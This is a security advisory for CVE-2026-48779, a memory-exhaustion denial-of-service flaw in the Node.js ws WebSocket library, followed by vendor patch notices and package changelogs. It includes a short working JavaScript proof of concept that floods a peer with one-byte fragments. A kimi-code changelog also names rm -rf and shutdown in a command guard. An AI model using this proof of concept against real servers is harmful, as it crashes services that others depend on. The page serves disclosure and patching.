CVE-2026-48779

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Root has patched CVE-2026-48779 in the ws package for Root:npm. Multiple fixed versions available.

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

TuxCare rebuilt ws to address 1 CVE. Fixed in 8.20.0-tuxcare.2.

TuxCare rebuilt ws to address 1 CVE. Fixed in 8.18.0-tuxcare.2.

TuxCare rebuilt ws to address 1 CVE. Fixed in 4.1.0-tuxcare.2.

TuxCare rebuilt ws to address 1 CVE. Fixed in 3.3.3-tuxcare.2.

TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.1-tuxcare.2.

TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.2-tuxcare.3.

TuxCare rebuilt ws to address 1 CVE. Fixed in 8.16.0-tuxcare.1.

TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.9-tuxcare.1.

TuxCare rebuilt ws to address 1 CVE. Fixed in 6.2.1-tuxcare.1.

TuxCare rebuilt ws to address 3 CVEs. Fixed in 8.13.0-tuxcare.1.

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.5-tuxcare.1.

TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.0.0-tuxcare.1.

TuxCare rebuilt ws to address 1 CVE. Fixed in 6.2.3-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.11.0-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.5.0-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 6.2.2-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.2.3-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.18.3-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.17.1-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 7.5.3-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 2.3.1-tuxcare.1.

TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.10-tuxcare.1.

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.3-tuxcare.1.

TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.0-tuxcare.1.

TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.18.2-tuxcare.1.

TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.1.4-tuxcare.1.

These are all security issues fixed in the jupyter-nbclassic-1.3.3-2.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the python311-jupyter-ydoc-3.5.0-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the jupyter-jupyterlab-templates-0.5.3-2.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the heroic-games-launcher-2.22.0-3.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the jupyter-matplotlib-0.11.7-18.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-15.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the agama-integration-tests-1785848065.5562c7c-4.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the kimi-code-0.41.0-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-pydata-sphinx-theme fixes the following issues:

Changes in python-pydata-sphinx-theme:

• Refresh js dependencies:

  • ws to 7.5.11 (bsc#1268957, CVE-2026-48779)

• Refresh vendored tarball (CVE-2026-6321, bsc#1264374)

This update for kimi-code fixes the following issues:

Changes in kimi-code:

Update to version 0.42.0:

• Add an experimental Updates panel with paginated progress messages from the main agent and subagents, enabled with KIMI_CODE_EXPERIMENTAL_NOTIFY_USER=1
• Turn the subagent model pool, Remote Control and the minidb session-index read model with the global search worker always on; their experimental flags and opt-out variables are gone, search persistence is now tuned via the [database] section
• Give tower worker and reviewer briefings the full mission context, follow the subagent timeout for tower agents, and show each background agent's model in /tasks
• Retrieve file search matches beyond the first 100 results, accept HEIC, HEIF and BMP images with Kimi-served models, and warn in kimi -p when project MCP servers are skipped in an untrusted folder
• Read files with configurable character limits and resumable long-line reads, decode malformed UTF-16 with a warning, and preserve image and video filenames in session history
• Rework the dashboard: deletable sessions, reorderable media rail, collapsed tool calls revealed with Ctrl-O, and less jank on long conversations and session reloads

Update to version 0.41.0:

• Add experimental tower mode for multi-agent orchestration and Remote Control for reaching a local web session remotely
• Add the WaitFor tool so the agent can wait for a background task inside the current turn, and an optional fork parameter that starts a subagent from a snapshot of the caller's history
• Support two OAuth login methods, kimi.ai and kimi.com, and activate several skills in one prompt
• Enable the subagent model pool in every launch mode by default and make turn-level file history unconditional
• Add a dangerous-command guard that always asks before shutdown, reboot or rm -rf in manual and YOLO permission modes, disabled with [permission] dangerous_command_guard; auto mode never blocks
• Remove kimi web --allow-remote-terminals; PTY terminal routes are served on loopback binds only
• Require Edit and Write to read a file first, and reject a write when the file changed on disk since that read
• Rework the bundled web dashboard: multi-tab right sidebar, Open/Done/Workspaces session tabs, a plugin marketplace panel and mobile bottom sheets
• ... see upstream's release notes for the full list

• Vendor the runtime dependencies upstream stopped inlining in 0.39.0:
  • Add ws, qrcode and qrcode's own pngjs and dijkstrajs as sources, installed into the package's private node_modules
  • Unpack the npm tarball directly instead of running npm install, which would resolve the new dependencies against the registry and pull in qrcode's CLI-only yargs tree
  • Declare the vendored trees with Provides: bundled(...)
• CVE-2026-48779: ws denial of service from a high volume of tiny WebSocket fragments; the ws inlined in the old bundle predated the 8.21.0 fix, the vendored ws is 8.21.3 (boo#1268927)
• CVE-2026-45736: ws uninitialized memory disclosure via websocket.close() with a TypedArray, fixed by the same ws version (boo#1269951)
• Load the compiled node-pty addon during the build check as well